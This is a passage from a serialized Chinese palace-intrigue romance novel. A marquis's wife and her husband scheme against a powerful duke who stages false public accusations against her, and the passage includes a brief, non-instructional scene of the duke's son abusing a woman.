他动作快,力道却很轻,只怕会伤着她。
不能让她贴过来。
他必须同她保持距离,才能保持清醒。
不仅于此,齐司延也不愿直视江元音的眼眸,抬眼望向一旁恨不得消失的曲休,蹙眉冷声道:“送夫人回主屋歇息。”
“是,侯爷。”
曲休朝江元音投去为难的目光,侧身摆出“请”的姿势。
江元音站直身子,甜言蜜语哄不成,只能改变战术:“侯爷总是说话不作数,以后我再不信侯爷的承诺了。”
果然剑走偏锋,这招有效得多。
一直刻意“无视”江元音的齐司延,终于侧目看她,俊脸紧绷:“我何时说话不作数了?”
“之前说只要我消气,我说什么都答应我,结果我说要和离,侯爷说不行。”
“……”
“晚饭时说我不必洗手作羹汤,我提的要求你也可答应,我说要假和离,侯爷还是不答应。”
“……”
齐司延呼吸重了又重,烛火在他墨眸中跳动,偏生如鲠在喉,吐不出半个字。
近来他时常觉得,他离被活活气死不远。
江元音看向曲休,放出最后的狠招,“不必送我,你留在这侍候侯爷吧,我自己走。”
她转身抬步,只等他似往常那般,认输追上来。
然而她都快迈出书房了,这回身后仍是没有动静。
江元音暗叫不妙,在驻足等待和转身回去中犹疑,最终还是觉得先回主屋。
那就彼此先冷静一晚吧。
要是他执意不肯假和离,她只能劝自己,再去和他商议其他解决方式。
书房里。
齐司延静如雕塑,分明耳畔的脚步声消失殆尽了,一颗心却无论如何也安静不下来。
曲休挣扎了许久,还是忍不住出声道:“侯爷要是不想看书的话,不如先把面吃了,免得浪费夫人一番心意。”
齐司延拧眉:“谁说我不想看书?”
“侯爷……”曲休动作鬼祟地指了指齐司延手中的书卷,声细如蚊,“一晚上没翻页……”
齐司延黑脸,掀了掀眼皮,“……你看错了。”
曲休干笑道:“那应该是我看错了。”
至此,齐司延一颗心浮躁到不行,侧目看了桌上热气腾腾地面,突兀地开口问道:“晚饭呢?”
“啊?”曲休一头雾水,“什么晚饭?”
“夫人下厨,做的晚饭。”
“应当是被雪燕、清秋她们收拾了……”曲休说着说着,回过味来,忙道:“我这就去后厨看看,侯爷稍等。”
时候不早,江元音回了主屋便沐浴换衣,躺回床榻上了。
在她“生气”离开书房时,他没似往常那样追上来,想必今晚是不会回主屋睡了。
独自躺在床上,江元音思绪翩飞。
齐司延一听“和离”二字,便反应强烈,归根究底,是没有安全感。
她不禁开始反思,自己是做了什么,才让他这么患得患失。
琢磨着琢磨着,她听到推门而入的动静。
那个她以为今晚哄不好,不会回主屋睡的男人,径直脱衣上了床榻,长臂一伸,熟练地捞她。
江元音顺势转身,如往常般依偎进他怀里,仰头半是欣慰半是埋怨道:“我还以为侯爷今晚不会回主屋睡了。”
齐司延哑声道:“你发誓,你不会骗我。”
在没有光影的房间里,有些话忽然没有那么难以开口,他喉咙发热,紧声道:“和离是假的,你不会丢下我。”
江元音心口一阵温热。
她原以为他这次气得很厉害,当不会再似以往那样迁就妥协她。
她甚至还没来得及好好“哄哄”他,他便把自己“哄”好了吗?
江元音抬手做发誓状,“我江元音在此立誓,同侯爷和离是假,如有半句虚言,不……唔。”
齐司延迅速地吻住她的唇,堵住了她欲发的毒誓:“我信你。”
“侯爷别忘了,我们还签了契约书呢,你日后可是要入赘‘阿音府’的,侯爷不许耍赖。”
“……好。”
“侯爷。”
“嗯。”
“阿音欢喜你。”
她刚刚独自琢磨了很久,在回忆里仔细搜寻,才发现,在两人的关系里,她一直是任由他去解读她对他的情意,却从未正式认真地向他表明心意。
或许正是因此,他才患得患失,没有安全感。
齐司延身子微僵,沉默了片刻,仿若没听清楚一般,诱着她再重复一遍:“什么?”
“阿音欢喜你。”
“好阿音,再说一遍。”
“阿音欢喜你。”
这一晚,江元音有求必应,只愿能将他心口的空洞,填满再填满。
江元音和齐司延达成了一致,决定任由谣言发酵,不去处之。
待闹大了,便借着谣言,顺势和离。
没了“侯夫人”的名头,她在李彦成眼里只是无关紧要的路人。
届时,她便能顺理成章离开的汴京,彻底离开这是非之地。
两人商量好后,便各忙各的去了。
白日里,李霁登门了。
走的不是偏门、后门,没有乔装打扮一番,而是大大方方的,自正门而入。
彼时齐司延出府未归,江元音见到李霁时,着实吓了一跳。
“王爷怎么来了?”她上下打量他,不安问道:“发生何事了?王爷不怕被有心人瞧见?”
她记得李霁素来谨慎,如今数不清有多少人在暗中盯着侯府,他当不会贸然登门才是。
转瞬想到,他昨日被许清拉下了水。
难不成与此有关?
李霁执扇指了指身边随从手中拎着的礼品,回道:“本王今日是来探望被本王牵连,而被国公府嫡女寻事受惊的侯夫人。”
他颇有些咬牙切齿道:“那自然得让有心人瞧见。”
江元音恍然,“看来王爷被有心人气得不轻。”
“有心人”人是谁,二人心知肚明。
李霁冷哼一声,着实气得不轻,道:“上一回,齐司延为拦住皇兄下平妻的圣旨,进宫唱那么一出,当晚,皇兄便召本王入宫了,那日,皇兄便起疑是本王透露要为齐司延去平妻的事。”
“昨日,许老头故意皇兄面前,借许绮嫚发疯的事,含沙射影,暗示皇兄,本王同齐司延有私情。”
“皇兄寻了刘尚书,确认了我们那日碰面的日子,正是齐司延入宫那日,皇兄虽未挑明,但言语中已笃定是本王泄露了要为齐司延娶平妻之事。”
江元音面色一沉,关切问道:“王爷可有受罚?”
李霁能有这个被许清利用挑拨,害其被李彦成猜忌,她亦是有责任的。
她当时对皇家局势了解甚微,更不清楚李彦成的心性,和李霁的处境,才贸然去找李霁帮忙。
她当日若没寻到鹤鸣琴筑去见李霁,便不会引来这些麻烦。
“暂未。”李霁只答两个耐人寻味的字。
李彦成喜怒难猜,昨日不见愠色,只是敲打了他两句,但难保哪日便要惩治他。
江元音稍稍安了心,谨慎道:“侯爷不在府上,王爷‘探望’完我了,我便不留王爷了,免得又被有心人添油加醋,成了新的话柄。”
她马上要“和离”离开汴京,倒不介意如何被人议论,可李霁短时间还得在这权势争斗里斡旋。
李霁不以为然,展扇扇了扇,早以备好了应对的合理说辞:“本王数十载头一回来定宁侯府,自得等定宁侯回来,打过招呼再走。”
“来而不往非礼也,那许老头算计到了本王头上,本王焉能无动于衷?”
“在定宁侯回府前,足够本王同你,谈妥如何给许老头备一份回礼了。”
江元音会意,示意清秋去备茶水,领着李霁去屋内落座。
她低声询问:“王爷希望我如何做?”
一来李霁的困境算是因她而起,他若不是真心护她,根本不用跟齐司延一唱一和,糊弄李彦成,也就不会引来李彦成猜忌。
二来她亦想对付许清,两人目标一致。
李霁不急着商谈,而是问道:“本王这一路来,听了你不少事迹,你且先同本王说说看,这又是怎么一回事啊?那江家,还敢来招惹你呢?”
江元音摇摇头,不待李霁追问,简单将李昀璟同江正耀来过侯府的事,如实以告。
李霁听着,算是完全明白许清打的是什么算盘,为何将他拉下水了。
他点明重点地问:“那你同齐司延商量好如何应对了?”
江元音点点头,又将昨夜和齐司延商量好的,告知李霁。
李霁听完,若有所思的笑了笑,“来,乖侄女,让我们叔侄携手,给你那老舅舅送份大礼。”
第152章 风水轮流转
了解清楚了江元音的现状,李霁修改了一些自己原本的想法,道与她听。
江元音认真聆听完李霁的计划后,反而有些失望。
许是她对李霁要给许清送的“礼”期盼太多,是以听完只觉得不痛不痒。
甚至,品出些了“伤敌一千,自损八百”的意味来。
江元音委婉暗示出声:“王爷,这听起来不像是一份‘大礼’啊。”
“礼轻情意重。”
江元音劝道:“王爷此举,自己亦落不着什么好,指不定要引火烧身,不如不作为。”
李霁摇头,意味深长道:“你不懂。”
“……侯爷未归,王爷再详细说说?”
“祸兮福之所倚,福兮祸之所伏,”李霁回道:“是福是祸,皆看自己所求,本王决意护住你那日,便埋了会与皇兄离心的因,昨日许老头在御书房那一出,不过是加速皇兄与本王离心罢了。”
他早知这一日会来。
他虽然“无所事事”了十多载,却早就做好了离京的打算。
只是江元音的出现,让他离京的计划不得不提前了。
江元音眸光闪烁,隐有愧疚,“王爷的……”
“诶——”李霁执扇一点,打断她道:“这是本王同先皇后的因果,与你无关,莫要上赶着攀扯关系。”
折扇有一下没一下地扣着桌案,令他看起来,欠了威严规矩,浑身都透着懒散不羁。
他又道:“先不说以许老头的能耐,不是你与本王一合作,便能轻易伤其根本的,再者,若是他倒了,本王反倒显眼了。”
他这十多载能平安无事,当然不是靠远离权利与皇兄对他这个胞弟的“兄弟情”。
最根本的原因,是李彦成没分出心来对付他。
李彦成初初登基那几年,忙的是迎战胡人,守护边疆太平。
待局势稳定后,便着手卸掉武将手中的兵权,齐司延的父母,齐腾夫妇便是因此而亡。
如今兵权分散了,以许清为首的世家文臣却日益壮大,成了李彦成的眼中钉。
就如同许清昨日在御书房故意挑破他和齐司延有私交,想祸水东引一般,他一样不愿看许清倒下。
至少,在他还在汴京时,不能。
李霁:“本王有事瞒了皇兄是事实,皇兄对本王既起了疑心,就不可能会消散。”
“引火烧身未必是坏事,你没听过‘浴火重生’这个词?”
江元音隐隐约约听明白了些他的言下之意,探寻问道:“王爷难不成是想借此,离开汴京?”
李霁颔首应了,他眺望院外景致,目光悠远,一派轻松地回道:“本王早说了,你若要南下,本王与你,能结个伴。”
“留在汴京未必是赢家,但能顺利离开,就是胜者。”
江元音看着他的侧脸,真情实意道:“王爷才是想得最通透的人。”
李霁展扇扇了扇,欣然应了:“诚然如此。”
叔侄俩称得上相谈甚欢,等到齐司延回府时,连细节都聊妥了。
齐司延不着痕迹地打量了两人一番,作揖行礼:“不知王爷今日登门,有失周到,还请王爷见谅。”
李霁摆摆折扇,“无妨,令夫人招待得甚好,本王甚是满意。”
江元音:……
又来?
逗齐司延这个醋坛子这么有趣吗?
李霁似是能看破她心中所想,朝她挑眉,无声回道:有趣,相当有趣。
一旁齐司延平静看着二人互动,淡笑问道:“不知王爷和阿音聊了些什么?”
李霁自懒得再将同江元音说过的话,重复一遍说与齐司延一听,执扇指了指江元音,“你一会问她,问她啊。”
他语罢起身,已是告辞的姿态,又故意添乱的说道:“过几日,本王定好生配合定宁侯去皇兄那演一出戏,让皇兄恩准你们和离。”
接着看着江元音,夸张地叹了一口气,道:“如此,本王也算不负你先前所托,助你和离了。”
说完他朝二人摆摆手,“走了走了,不必相送。”
李霁展扇,走得是大步流星,笑得是如沐春风。
哼。
谁让这小子,先前敢算计他。
李霁一走,江元音立即先发制人,一脸认真地询问齐司延:“侯爷是不是何处得罪王爷了?王爷总故意逗侯爷。”
“何以见得?”
“王爷故意惹恼侯爷,”江元音眨眨眼:“不过以侯爷的才智,一看便知,万不可能上王爷的当。”
齐司延墨眸里,是认命的纵然,迈至她身侧,下了结论:“我看任谁都比不过阿音聪慧,会拿捏人心。”
什么正话反话,悉数让她说了。
江元音浅笑,最是温柔无害,不待齐司延张口询问,主动将李霁同她的聊天内容,转述与他听。
她只说了个大概,讨巧地避开了某些他应当不会乐意听的细节。
齐司延听完,墨眸深深,状似随意地问道:“如此说来,阿音是打算和珩王结伴同行了?”
“不知你们相中了何处?”
江元音摇头,坚定地强调道:“珩王自有珩王的去处,我们的去处,当由我们一起决定。”
她主动挽住齐司延的手臂,柔声道:“之前侯爷整理的画卷,我觉得处处都不错,一时难以抉择,不如就辛苦侯爷做主挑个地吧。”
齐司延屏息:“我挑?”
“嗯,不过府邸门牌写什么,还是得由我来决定。”
齐司延那点微妙的情绪,瞬间消散无踪。
他眉目舒展,甚至不再追问李霁和她的谈话细节,沉声回道:“好。”
午后,江元音和齐司延一道出了侯府。
马车停在了东南边的巷弄。
这边不同于东边的高门大户,甲第连云,也没有西边的热闹喧嚣,算是汴京城最安静的区域。
齐司延目光落在整理帷帽的江元音身上,再次确认:“真不用我同你一道去?”
“不用,”江元音无碍道:“这事用不着侯爷出面。”
她又劝了一句:“侯爷放心,有青鸢、沉月跟着呢,我吃不了亏。”
语罢,戴上帷帽,下了马车。
江元音要见的是个老熟人,此次谣言中,被她“害惨了”的齐婧涵。
这些谣言中,力证她是个毒妇的证人,除了江家一家,还剩下齐婧涵。
在开始同李霁的计划前,她来找齐婧涵确认一些事,也给她指条明路。
齐婧涵若能迷途知返,与她合作,她自不会亏待她。
否则,齐婧涵便将是她计划中一环。
绕过狭窄的巷弄,清秋叩响了一户老旧的大门。
没多久,便听到一阵小跑声。
大门被齐婧涵的贴身丫鬟急切拉开,看到站在门口的江元音主仆一怔。
这时齐婧涵的声音由远及近,娇俏而期盼:“子枫哥哥,你终于来了……”
话音刚落,她看到门口的人也是一愣。
齐婧涵脸色骤变,驻足盯着江元音:“江元音?”
江元音大大方方地摘了帷帽,迎上她失落震惊的目光:“是我。”
从一句“子枫哥哥”,她可以确定,那些谣言中,有关齐婧涵的一切,不仅仅是顺嘴说的。
想必,许子枫已经出面,同齐婧涵说好了,让其出面同江家人一起,坐实他们散步的谣言。
齐婧涵本能地后退了半步,随即好似想到了什么,镇定下来,讥笑道:“怎么?你真面目被揭穿了,遭了骂,害怕了?想来求我?”
江元音但笑不语地望着她。
蠢人就是话多,自己什么都没问,她近乎什么都招了。
齐婧涵抬手抬手摸摸自己的鬓发,一脸小人得志的说道:“求人要有求人的态度,你好好跪在我面前,磕它几十个响头先!”
江元音半点不恼,越过她往里屋瞟了瞟,平静问道:“进去谈?”
“谈?我同你有何好谈的?!”齐婧涵激动道:“江元音,风水轮流转,这一回,是你死到临头了!”
陆氏、齐明宏双双死在狱中,齐文台被流放,她一夕之间从人人艳羡,养尊处优的国公府的四少夫人,变成下堂妇。
全是眼前的女人害得!
江元音漫不经心地环顾了下这简陋的屋子,轻蔑道:“是啊,风水轮流转,只是看起来,也还没转到你这啊。”
她故意激怒齐婧涵,道:“一个住在破败小屋的下堂妇,说我死到临头?真是大言不惭。”
“你闭嘴!”齐婧涵被踩到了痛处,藏不了一点的反击道:“当初子枫哥哥休我,都是被你这个毒妇逼得,他现在已经看清楚你的真面目了,很快便会接我回国公府了!”
江元音勾唇轻笑,继续诈她,问道:“他便是这般诓你,让你过几日站出来控诉我吗?”
“子枫哥哥不会诓我!”齐婧涵激动强调:“他很快便会接我回国公府的!”
许子枫是她唯一的倚靠,她相信也只能去相信他说的每一句话。
从齐婧涵的话里,江元音已能猜到许清的下一步。
她看着齐婧涵,不再恶语相向,也不低声示好,而是平静认真地说道:“你比谁都清楚,那些谣言是假的,我今日过来,不与你算新仇旧恨,只跟你谈一笔交易。”
“我不需要你编造谎言,你只需站出来如实以告,我可以给你一笔钱,送你离开汴京,保你此生无忧。”
第153章 国公府搭好了戏台
“谁需要你的钱?!”齐婧涵水袖一甩,双目喷火:“过几日,你就要声名狼藉,人人喊打,我看你才要变成下堂妇!而我,会再次风风光光被接回国公府。”
她似是陷入了许子枫用甜言蜜语钩织的美梦里,脸上浮着一层迷离向往的笑,“子枫哥哥知道先前亏待了我,他会待我好的,我们很快便会有自己的孩子。”
“你醒醒吧,”江元音戳破她的美梦,“他要接你回去,早接你回去了,你何至于窝在这破败的屋子里?”
她道出残酷的真相:“我不同你说这些弯弯绕绕,我可以直接告诉你,便是你真的站出来,泼我脏水,不需要我出手,国公府就会当众收拾你,你回不了国公府的。”
齐婧涵蹙眉绷脸的看着她,似是在试图理解她到底说了些什么。
“是有些绕,”江元音耐心解释道:“国公府不会跟侯府交恶,而你会成为国公府同侯府示好的‘礼’,你如果真的站出来,那便是死路一条,你不如……”
“你闭嘴!”齐婧涵激动打断她,“你休想编这些狗屁不通的胡话来骗我,我日日夜夜,恨不能将你千刀万剐,撕个粉碎!”
她恶狠狠地盯着江元音,目眦欲裂,“江元音,过不了几日,我一定让你当众跪在我面前,摇尾乞求我原谅!”
江元音伸手拦住身后要站不住的雪燕清秋,冷冷望着齐婧涵:“你该恨的人不该是我,而是那个在你遇事时,对你弃之如敝履,没护过你,现在又为了利用你,用三两句好话哄得你做蠢事的许子枫。”
“我不许你这样说子枫哥哥——!”
齐婧涵失了智一般,发疯朝江元音扑过来,然而在离江元音还有半丈远时,被沉月拔剑挡住。
青鸢亦拔剑,近身护住江元音。
江元音望着齐婧涵,真诚道:“齐婧涵,你可以不必和我交易合作,但我提醒你一句,你如果想好好活着,就趁早离开汴京。”
“国公府不会给自己留黑点,你如今再无家人可倚靠,掺和进这件事,便是不死也得去层皮。”
齐婧涵是半点听不进去,只当江元音在挑衅,更是大放厥词,各种狠话张嘴便来。
江元音不再与之多费唇舌,转身环视了周遭了的门户几眼,随后抬步离开。
待走出巷弄,远远便见齐司延已下了马车,长身玉立,站在马车旁,朝她的方向张望。
江元音加快的步子,齐司延随之迎上来。
她本想着念叨他两句,说好在马车里等她,莫引人注意,结果他还是下车了。
但见他目光如炬地上下扫视她,心里渗着甜。
于是她配合地在他面前转了个圈,不待他追问,率先说道:“的确如侯爷所料,谈失败了,但我一点事没有,我与她离得远远的说话。”
齐司延这才舒心,牵着她上了马车。
江元音将齐婧涵的反应描述告知齐司延,叹息道:“这许子枫半点担当都没有,成婚时浓情蜜意,出事人翻脸不认人,如今有利用价值了,便又三言两语的哄骗,真是不做人。”
齐司延掀了掀眼皮,沉默看她。
眼神里充斥着太多不可言说的……哀怨与后怕?
江元音一眼看破他心中所想,忙出声夸赞道:“我真真是命好,能嫁给侯爷这样有担当的男人,任何时候都都站在我这边,护我、助我,从不会光说不做,是这世上最最好的夫君!”
她歪头凑近,眨眨眼,“怎么样,我这回没有胡思乱想,迁怒侯爷,懂得怜惜侯爷了吧?”
齐司延傲娇轻哼了一声,心底一片柔软,眼角眉梢的笑意怎样都掩藏不住。
次日,江元音开始了他们的反击计划。
他们给出双倍的银钱,让那些散步谣言的人,继续广而告之。
他们不仅没去改变谣言方向,反而为这些谣言添油加醋了一把。
“那侯夫人真真是心狠手辣,不仅害死了齐婧涵的孩子,逼得许四郎休了她,还在侯府折磨了她整整五日呢!”
“可怜那齐婧涵刚小产,就遭受非人的折磨,又被泼开水,又挨鞭笞,满身都是伤,浑身没一处好的,也就那张脸还能示人,听说她自己也怀孕了,是要当母亲的人,也不为自己孩子积点福报。”
“这算什么,那歹毒的女人连她父母、胞弟都动手,更别提叔父的女儿了。”
“她亲弟弟的可不止是腿废了,也浑身是伤呢,之前五月时,她父母登门做客,被她鞭笞得浑身是伤的出来了,你说可怕不可怕!”
“啊,她怎么那么爱鞭笞人啊?”
……
……
江元音让人传这些谣言,进可攻退可守。
她顺着他们安给她的“恶毒人设”,编造出这么多具体的例子,只要指出这些例子是不实的,便能推翻这些谣言。
而国公府那边,若是选择坐实她的谣言,就只能根据她编造放出去的这些去完善。
这样,江家人和齐婧涵在遭受国公府的迫害下,还能心甘情愿,替国公府做事吗?
谣言越传越凶,看热闹的百姓们,在有意的引导下,已分成了两派。
一派觉得这事荒唐可笑,一派笃定真相有过之而无不及。
两方吵得激烈,都认可只要看看当事人身上是否有伤,便知真假。
国公府那边,选的是后者。
东南巷弄小屋,许子枫执鞭,立在齐婧涵面前。
齐婧涵瑟瑟发抖,哆嗦着乞求:“不,不……子枫哥哥……你不能这样对我……”
“婧涵忍忍,”许子枫俯视她,声音轻柔的哄骗道:“你不是也恨那江氏吗?你不是想报仇吗?你只要挨几鞭子,让那江氏坐实了谣言,她会被休的,届时我便将她绑到你面前,随你处置,你便是将她抽得皮开肉绽都行。”
“证明了你当初是被她下毒害得小产,你是被冤枉的,我才能再将你接回国公府啊。”
齐婧涵连连摇头,“我不要……会疼,会留疤的,我不要……”
“莫怕,我早备好了上好的药膏,不会留疤的。”
“不,我不要……”齐婧涵后退,腿一软,跌坐在地。
许子枫耐心告罄,扬鞭挥下。
“啊——好痛,不要——”
“子枫哥哥不要,饶了我,饶了我……”
在齐婧涵的惨叫声里,他一下接着一下,每挥一鞭子,就轻声安抚一句,可他眼里,却没有半分怜惜。
他是妾室所生,父亲从未在意过他。
这么多年了,这是父亲第一次,交代他办事。
他一定要办好,如论如何都要办好。
齐婧涵疼得满屋子爬,可怎么爬都躲不过许子枫的鞭子。
最后,她实在爬不动了,如一摊烂肉般,瘫坐在地上,她用最后的力气抱头捂脸,只想护住自己脸。
不要弄花她的脸,她精心护理了这么多年的脸。
不知道过去了多久,许子枫终于扔开了鞭子。
齐婧涵疼得麻木,于指缝中抬眼期盼看他。
她在等他的道歉安慰,等他温柔来给她上药。
可是许子枫只是喘着气,吩咐随从:“去端两盆开水过来。”
齐婧涵五雷轰顶,视线里,她爱了这么多年的男人,犹如地狱修罗,面目可憎。
“不……”要拿开水泼我。
可她根本发不出一个音节,在昏过去之前,脑子里都是江元音的话。
……是啊,她恨错了人。
三日后。
这日是休沐日,齐司延不用去上早朝,难得的同江元音睡了个早觉。
过了巳时,家丁双手呈上信件,禀告道:“侯爷,国公府派人过来送信。”
齐司延接过信,往身侧的江元音面前展开,两人一道阅览。
信件不过短短三行,内容同他们预料的一般无二。
说是江家人此刻正在国公府,恳求许清为其做主,讨个公道。
许清疑此事有蹊跷,为护住侯府名声,邀请夫妇俩去一趟国公府。
江元音筹备数日,恭候多时,看完信,满眸都是跃跃欲试。
按照计划,立即派人去给李霁报信。
齐司延眉目里隐有担忧:“你真要去国公府?”
江元音知晓他在忧虑什么,劝解道:“他既什么都知道,也不打算说,我见一面,无妨。”
“我们不是都计划好了吗?”她挽住他的手臂,“何况我不是一人前去,有侯爷在我左右,我什么都不怕。”
“许国公搭好了戏台,角也到位,为我们俩准备这么多一出戏,我们俩当然要去捧场。”
江元音和齐司延估算着李霁那边动身的时辰,等得差不多了,才启程去了国公府。
侯府和国公府都在东边,相距不远,不过一刻钟的车程。
马车一停,两人才知,这国公府门口,可比他们想象中的热闹。
离国公府正门不过两丈远的街道上,此刻围满了熙熙攘攘的百姓。
而正门口的空地上,江家一家三口,整整齐齐在那。
江元音冷笑。
原来这戏台就搭在了正门口啊。
第154章 孩子,我是你舅舅
眼尖手快的国公府家丁,立马悄然绕过人群,凑到马车前。
家丁躬身道:“正门有人闹事,委屈侯爷、侯夫人自偏门入府了。”
他领着车夫调转方向,往国公府偏门而去。
早有家丁候在偏门,领着江元音和齐司延往前厅去。
穿过精心打理过的园林,前厅进入眼帘。
许清就在前厅里。
江元音这回没戴帷帽,而是如同见许绮嫚时一般,戴着面纱,脖颈上谨慎地画着浅淡的红痕。
齐司延侧目看她,隐有担忧。
江元音回了个无谓的眼神,淡然自若。
她早接受了自己的身世,也清楚一会要见到的“舅舅”是个什么样的人,没什么好慌乱的。
两人迈入前厅。
许清一身沉香色云锦服,端坐主位,手里习惯性地盘着两颗圆润的核桃,气质儒雅斯文,没有半点攻击性。
厅内除了其心腹仆人,并没有旁的人。
家丁躬身禀告:“国公爷,侯爷、侯夫人到了。”
齐司延拱手行礼:“许公。”
江元音微微后他半步,福身行礼:“见过许国公。”
许清抬眼,目光在齐司延身上一扫而过,落在了垂首的江元音身上,开口道:“不必行此虚礼,解决麻烦要紧。”
齐司延好似疑惑地看向许清,直入正题地问:“妻弟顽劣的事,我前几日已同许公表明,原以为许公明辨是非,该不会听信谣言才是,为何今日会纵容其在正门闹事?”
“定宁侯此言差矣,”面对齐司延的先声夺人,许清沉声:“正如前几日在宫中所说,你妻弟要闹到皇上面前,是老夫拦下来了,今日江家人跪在我国公府门前讨要公道,也是老夫立马派人去侯府给信,邀你夫妇来商议解决,你怎地反倒给老夫泼起脏水了?”
“侯爷是关心则乱,还请国公爷见谅,”江元音适时出声,低眉敛目自责道:“此事都怪我性子软弱,不欲与亲人计较争辩,自以为清者自清,不必理会谣言,才让谣言愈演愈烈,还闹到了国公府上,惹国公爷心烦了。”
她又俯身,行礼道歉:“妾身替江家,同国公爷赔个不是……”
“诶——”许清朝江元音的方向伸手,虚扶一把,“听闻你有孕在身,不必拘礼,快快落座。”
“多谢国公爷。”江元音稍稍抬眼,朝他望去。
四目相对,许清眸光闪烁,复而激动起身,放下手中的核桃,大步朝她而来。
江元音佯作慌乱往齐司延身后退了退,细声道:“国公爷是怎么了?”
齐司延侧身,将她护在身后,不解望向许清:“许公?”
许清声音微颤,几分真心几分酝酿好的演绎:“你夫人眉眼……太像老夫一位故人,不知可否摘了面纱,让老夫一睹真容?”
江元音自齐司延身后稍稍探出头,对上许清的目光,怯生生道:“能有几分像国公爷的故人是妾身的荣幸,只是妾身前一阵子起了脓包,刚愈不久,仍留有些许印字,希望不会吓到国公爷。”
她完全是一副不知晓自己身世的模样,不推阻,如许清所愿地摘掉了面纱。
许清眸光闪烁,怔怔望着江元音,半晌没有言语。
江元音任其沉默的端详着,片刻装作茫然望向齐司延求助。
齐司延再次出声:“许公?”
许清无视齐司延,绕过他,走至江元音面前,出声确认道:“你左肩可是有莲花刺青?”
“国公爷怎会知晓?”江元音瞠目,惊诧不已,慌乱向齐司延解释道:“侯爷,妾身平日里鲜少出门,与国公府更没往来,妾身也不知道国公爷为何会知晓妾身左肩有刺青,侯爷可千万不要误会妾身啊……”
她这一番话,便是承认了自己左肩有莲花刺青。
许清百感交集地开口道:“看来那江家小儿没有撒谎,你的确不是江家的女儿,孩子,你乃皇家子嗣啊。”
江元音怔然:“什、什么……?”
“十七年前,我妹令仪爱女被掳走,其左肩有莲花刺青,而你与令仪生得如出一辙,”许清眼眶通红,蒙着一层泪花,伸手抓住江元音的手臂,颤声道:“孩子,我是你舅舅啊。”
先皇后名唤许令仪。
江元音十分庆幸自己提前摸清楚了许清的真面目,否则此时此刻搞不好真的会被他眼中带泪的模样欺骗。
就认亲的表现而言,他这个舅舅可比李霁那个皇叔,要来得“感人肺腑”了。
好在她的演技一样精湛,踉跄了下,茫然无措又惶恐不安地摇头,喃喃道:“怎么会……怎么会……?”
“难道这就是阿父阿母不喜欢我的原因吗?因为我不是亲生的……?”
“现下不是说这些的时候,你的身世待舅舅处置了外面那群找事的人再来详谈,”许清严声护道:“你莫怕,舅舅定不会放任江家人欺负你,便是要被外面那群不明就里的人误会非议,舅舅也定护住你!”
“你在此稍等,舅舅先去处置了他们,再来与你话家常!”
许清一口一个“舅舅”,已经开始粉饰自己为她的“付出”了。
“不敢劳烦国公爷,”江元音深吸了一口气,重新戴好面纱,一副鼓足勇气的模样,“我这就去同他们对质,自证清白,绝不连累国公府。”
许清不赞同道:“他们来势汹汹,想来是做足了准备,不是你出声否认,便能击破谣言的。”
“事过留痕,他们说的那些心狠手辣的事,我从不曾做过,”江元音道:“我没有打断过阿弟的腿,更未鞭笞过父母,只要他们身上没有伤痕,便能证明他们在撒谎。”
许清眼底毫无波澜,“那我命人将他们领进府内,理清此事,免得事情越闹越大,传遍全城,坏了侯府的名声。”
江元音摇头,“外面围着那么多不明真相的百姓,若不当着他们的面澄清,怕是要多舌,说是国公爷包庇了妾身。”
“夫人所言甚是,”沉默良久的齐司延出声表态:“这本就是侯府的家事,不该将许公牵扯进来,更没有在国公府解决的理。”
两人一唱一和,把硬贴上来的许清给撇开。
许清面上认可地点了点头,叹息道:“那江家一大早便跪在了国公府门口,让老夫主持公道,行,老夫便随你们一道去,如他们所愿的主持公道。”
他抬步朝正门走,迈过齐司延与江元音时,给了心腹仆人一个眼神,示意其开始行动。
他眼底都是掌控一切的傲然。
一会到了正门口,他自有法子,让江元音当着一群围观百姓的面,坐实那些谣言。
待江元音百口莫辩时,他会“力排万难”,护住她,不信她不对他这个舅舅,感恩戴德。
三人走至国公府的正门。
朱漆大门一被拉开,许清领头大步迈出高高的门槛。
门口等候多时的江兴德,随即跪地高呼:“草民江兴德,一家皆受嫡女迫害,因其高嫁定宁侯,无官敢管此事,草民一介商贾,又无法诉之御前,实在是诉状无门,才来叨扰国公爷,恳请国公爷替草民做主啊!”
许清一手在前,一手负在身后,扬声道:“江兴德,你可知诬告侯夫人,损害侯府名声,轻则杖责,重则要入狱流放?”
“请国公爷明察秋毫,草民句句属实,万不敢构陷诬告侯夫人,”江兴德痛声道:“江元音乃草民女儿,此事亦关乎我江家名声,若非被逼到绝境,草民怎会求到国公爷面前啊!”
“原本她对我夫妇俩不敬,欺辱我们,我们为人父母的,睁一只眼闭一只眼也就算了,但她前些日子,打断我儿双腿……我儿江正耀不过十岁,本在东宫伴读,如今废了双腿,前途未来尽毁,余生可怎么活啊!”
陈蓉本魂不守舍地站在坐在轮椅上的江正耀身边,听到这句话,忽然激动大喊:“毒妇!那个毒妇害惨了我儿,打伤我儿,将我儿扔在街上,耽搁了治疗,才让我儿废了双腿!”
她形容憔悴,时而对周遭一切置若罔闻,时而咋呼高喊,看起来便是精神不太正常的样子。
而江正耀面色苍白的坐在轮椅上,低垂着头,反常的沉默。
围观的人唏嘘不已。
“真乃毒妇,对自己的血脉亲人下这种毒手!”
“这家人太惨了,供了个作威作福的白眼狼出来。”
“无法无天,仗势欺人,希望国公爷能帮其讨回公道啊。”
等到众人宣泄完,江元音才自许清身后迈出来。
她迎上江兴德的目光,眼神冷静冰冷,一开口语调却是心碎委屈,哽咽道:“女儿知道父亲母亲自幼便不喜女儿,但女儿实在不知道自己做错了什么,惹得父亲母亲要编造这些谎言……亦或者阿父阿母是受了何人威胁,才……”
“你别演了!”江兴德抬手摸着自己受伤的左肩,他眼里的恨真真切切,“摆出你上回拿簪子的扎我嘴脸来,江元音,你如何待我,我都忍了,但你怎能废了你弟弟的双腿,他才十岁啊!”
一直低垂着头的江正耀这时方才抬头,恶狠狠地瞪着她:“是你!是你让人打断了我的腿!”
江元音眼底都是鄙夷,没有半分愧疚。
先不说前世,她千辛万苦把他从李承烨手中救出,他却拔剑相向。
这一世,听刚刚陈蓉所言,他腿瘸了,怕是因为被李昀璟扔在了马路上,没有及时治疗。
可他却只敢恨她。
下一瞬,有丫鬟搀扶着齐婧涵自人群中走来。
她早没了前几日在东南巷弄和江元音见面时的趾高气昂,每一步都走得颤颤巍巍,极其费劲。
不同于江家人的咬牙切齿,她神色恍惚。
江元音抬眼看去,已能想象齐婧涵近来遭受了什么。
比起江家人,她对齐婧涵的选择更感兴趣。
遭此折磨,她还会听许子枫的吗?
第155章 当众验伤,鱼死网破
所有人都看向齐婧涵,那些围观的百姓纷纷猜测着她的身份,和她来此的目的。
江元音亦看着她。
